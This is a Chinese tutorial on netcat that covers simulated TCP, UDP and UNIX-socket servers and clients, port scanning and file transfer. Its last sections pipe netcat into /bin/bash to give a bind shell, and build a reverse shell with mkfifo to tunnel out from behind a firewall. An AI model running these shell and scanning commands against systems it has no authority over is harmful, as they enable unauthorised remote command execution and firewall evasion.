netcat 详解
简介
netcat 是一款调试 TCP/UDP 网络连接的利器,常被称作网络调试的瑞士军刀,可见其功能强大。
netcat 在 Linux, Windows 等各大操作系统上都有对应等发行版,以下以 Linux(Ubuntu 16.04) 为例介绍其几个强大的用法。
netcat 在 Linux 中一般通过命令 nc 调用。我们先来看下它的帮助文档
# nc -h
OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
[-P proxy_username] [-p source_port] [-q seconds] [-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [destination] [port]
Command Summary:
-4 Use IPv4
-6 Use IPv6
-b Allow broadcast
-C Send CRLF as line-ending
-D Enable the debug socket option
-d Detach from stdin
-h This help text
-I length TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-j Use jumbo frame
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects
-n Suppress name/port resolutions
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects
-q secs quit after EOF on stdin and delay of secs
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address
-T toskeyword Set IP Type of Service
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-V rtable Specify alternate routing table
-v Verbose
-w secs Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-Z DCCP mode
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
可以看到我们使用的是 netcat-openbsd 这个发行版的 netcat, 除此之外,还有 netcat-traditional 等发行版。不同发行版的
基本功能相同,只是有细微的差别。
简单来说, nc 有以下功能:
- 模拟 TCP 服务端
- 模拟 TCP 客户端
- 模拟 UDP 服务端
- 模拟 UDP 客户端
- 模拟 UNIX socket 服务端
- 模拟 UNIX socket 客户端
- 端口扫描
- 传输文件
- 将服务器 bash 暴露给远程客户端
- 内网穿透,反向获取防火墙后的机器的 bash
以下分别举例说明。
实例
环境设定
假设
- 服务器 A 有外网 IP 202.118.69.40
- 服务器 B 没有外网 IP
- 客户端 C 有外网 IP 202.119.70.41
三台主机上均为 Ubuntu 16.04 操作系统。
TODO 网络拓扑图
1 模拟 TCP 服务端
nc -lk 9090
在服务器 A 执行以上命令,将会把 nc 绑定到 9090 端口,并开始监听请求。
-l 代表 netcat 将以监听模式运行;
-k 表示 nc 在接收完一个请求后不会立即退出,而是会继续监听其他请求。
这时就可以请求该接口了, nc 会把请求报文输出到标准输出。
例如在客户端 C 执行 curl 202.118.69.40
nc 将会将 HTTP 请求的报文输出到标准输出
GET / HTTP/1.1
Host: 192.168.0.71:9090
User-Agent: curl/7.54.0
Accept: */*
2 模拟 TCP 客户端
printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
在客户端 C 执行上述代码,
C 的输出如下
Connection to example.com port 80 [tcp/http] succeeded!
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 09 Oct 2018 07:08:38 GMT
Etag: "1541025663+gzip"
Expires: Tue, 16 Oct 2018 07:08:38 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (sjc/4E52)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
...
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is established to be used for illustrative examples in documents. You may use this
domain in examples without prior coordination or asking for permission.</p>
<p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>
证明客户端模拟成功,给 example.com 发送了 HTTP Method 为 GET 的 HTTP 请求。
3 模拟 UDP 服务端
在 A 执行
nc -lk -u 9090
4 模拟 UDP 客户端
在 C 执行
nc -u 202.118.69.40 9090
此时在客户端终端中输入任意字符,将在 A 的终端中输出同样的字符,证明 UDP 服务端和客户端模拟成功。
5 模拟 UNIX socket 服务端
在 A 执行
nc -Ul /tmp/mync.sock
6 模拟 UNIX socket 客户端
在 A 执行(UNIX 默认不能跨服务器)
nc -U /tmp/mync.sock
此时在该终端中输入任意字符,将在第5步的终端中输出同样的字符,证明 Unix socket 服务端和客户端模拟成功。
7 端口扫描
nc -vz 202.118.69.40 1-81 2>&1|grep succeed
-z 指 Zero-I/O mode,即连接的过程中禁用输入输出,仅用与端口扫描。
2>&1|grep succeed 默认情况下扫描过程中,不论成功与失败,扫描结果都被输出到了“标准错误输出”,该命令用来过滤,仅显示出打开到端口。
上述指令输出结果如下:
Connection to 202.118.69.40 22 port [tcp/ssh] succeeded!
Connection to 202.118.69.40 53 port [tcp/domain] succeeded!
Connection to 202.118.69.40 80 port [tcp/http] succeeded!
8 传输文件
8.1 向服务器上传图片
服务器 A 监听 9090 端口
nc -l 9090 | base64 -d > WechatIMG88.jpeg
客户端上传图片
base64 WechatIMG88.jpeg | nc 202.118.69.40 9090
注:因为需要传输图片,所以先 base64 编码,然后下载完再解码避免终端错乱。
8.2 从服务器下载图片
服务器 A 监听 9090 端口,并将要下载的图片输出到 nc
base64 WechatIMG88.jpeg | nc -l 9090
客户端下载
nc -t 202.118.69.40 9090|base64 -D > w.jpeg
9 将服务器 bash 暴露给远程客户端
与 7 类似,只不过服务端将接收到到内容管道给 /bin/bash
然后在客户端输入要敲的命令
nc -l 9090 | /bin/bash
10 内网穿透,反向获取防火墙后的机器的 bash
与 8 类似,只不过服务器 B 将内容管道给 /bin/bash
在客户端 A 打开监听
nc -l 9090
在服务器 C 上执行以下代码反向接受命令
nc -t 202.119.70.41 9090 | /bin/bash
然后在客户端 A 输入要执行的命令即可。
需要注意的是,使用上述命令远程执行命令时在客户端无法看到命令的返回结果。
通过创建命名管道的方式,可将 bash 执行的结果回传给 netcat,
具体命令如下(在服务器 C 执行代码):
mkfifo ncpipe
nc -t 202.119.70.41 9090 0<ncpipe| /bin/bash 1>ncpipe
netcat 详解的更多相关文章
- Linux nc (netcat) 详解
Linux nc (netcat) 详解 http://blog.csdn.net/michael493439861/article/details/7445454
- linux netcat 命令详解
功能说明:强大的网络工具语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p< ...
- Linux 下的dd命令使用详解(摘录)
一.dd命令的解释 dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换. 注意:指定数字的地方若以下列字符结尾,则乘以相应的数字:b=512:c=1:k=1024:w=2 参数注释: 1. ...
- dd命令使用详解
dd命令使用详解 http://www.cnblogs.com/qq78292959/archive/2012/02/23/2364760.html 1.命令简介 dd 的主要选项: 指定数字的地方若 ...
- linux dd命令参数及用法详解---用指定大小的块拷贝一个文件(也可整盘备份)
linux dd命令参数及用法详解---用指定大小的块拷贝一个文件 日期:2010-06-14 点击:3830 来源: 未知 分享至: linux dd命令使用详解 dd 的主要 ...
- Linux 下的dd命令使用详解(摘录)【转】
转自:https://www.cnblogs.com/jikexianfeng/p/6103500.html 一.dd命令的解释 dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换. 注意 ...
- Flume NG 配置详解(转)
原文链接:[转]Flume NG 配置详解 (说明,名词对应解释 源-Source,接收器-Sink,通道-Channel) 配置 设置代理 Flume代理配置存储在本地配置文件.这是一个文本文件格式 ...
- Flume自定义拦截器(Interceptors)或自带拦截器时的一些经验技巧总结(图文详解)
不多说,直接上干货! 一.自定义拦截器类型必须是:类全名$内部类名,其实就是内部类名称 如:zhouls.bigdata.MySearchAndReplaceInterceptor$Builder 二 ...
- Linux 下的dd命令使用详解
转自:https://www.cnblogs.com/jikexianfeng/p/6103500.html 一.dd命令的解释 dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换. 注意 ...
随机推荐
- pandas中df.ix, df.loc, df.iloc 的使用场景以及区别
pandas中df.ix, df.loc, df.iloc 的使用场景以及区别: https://stackoverflow.com/questions/31593201/pandas-iloc-vs ...
- .net core 中使用NLog
在.net standard 2.0.3 和.net core 2.1适用.其他版本的.net 应该也可以. 1.新建一个空白解决方案,再建一个类库 2.安装NLog.Config,会生成一个配置文件 ...
- 在xcode中设置include和lib路径
最近刚刚开始玩xcode,对着教程学编程时很少要动到项目设置,但昨天晚上想使用freetype验证上篇博文的问题,就需要设置include和lib路径了. 首先我下了freetype的源码,并在本地编 ...
- 通过jdbc连接MySql数据库的增删改查操作
一.获取数据库连接 要对MySql数据库内的数据进行增删改查等操作,首先要获取数据库连接 JDBC:Java中连接数据库方式 具体操作如下: 获取数据库连接的步骤: 1.先定义好四个参数 String ...
- 单机部署zookeeper、kafka
先安装jdk:mkdir /usr/javatar xf jdk-8u151-linux-x64.tar.gzmv jdk1.8.0_151/ /usr/java/jdk1.8 cat /etc/pr ...
- chromedriver对应chrom版本
chromedriver版本 支持的Chrome版本 v2.37 v64-66 v2.36 v63-65 v2.35 v62-64 v2.34 v61-63 v2.33 v60-62 v2.32 v5 ...
- AT2348 HonestOrUnkind
传送门 显然\(a>b\)的情况下才有解 考虑先找出一个诚实的人,然后剩下的都可以在\(n\)次以内问出来了 发现如果一个人说另一个人是说谎的那么这两个人必有一个是说谎的,由于诚实的人严格多于不 ...
- element-ui国际化探索(大型项目适用)
配置好了,自己感觉是比较简单的,就是有一点点繁琐,加油吧. 由于保密,无法拿出项目,故写了一个小demo,记录一下,适用于大型项目: 项目中需要自定义切换中/英文(国际化),基于vue.js,结合vu ...
- 转 oracle数据仓库部署注意事项(OLAP)
https://blog.csdn.net/laven54/article/details/9840365 最近数据库升级到11G之后,出现一些问题,慢慢的开始发现一些需要总结的东西,每次心里都在想: ...
- Spark Mllib里的如何对两组数据用皮尔逊计算相关系数
不多说,直接上干货! import org.apache.spark.mllib.stat.Statistics 具体,见 Spark Mllib机器学习实战的第4章 Mllib基本数据类型和Mlli ...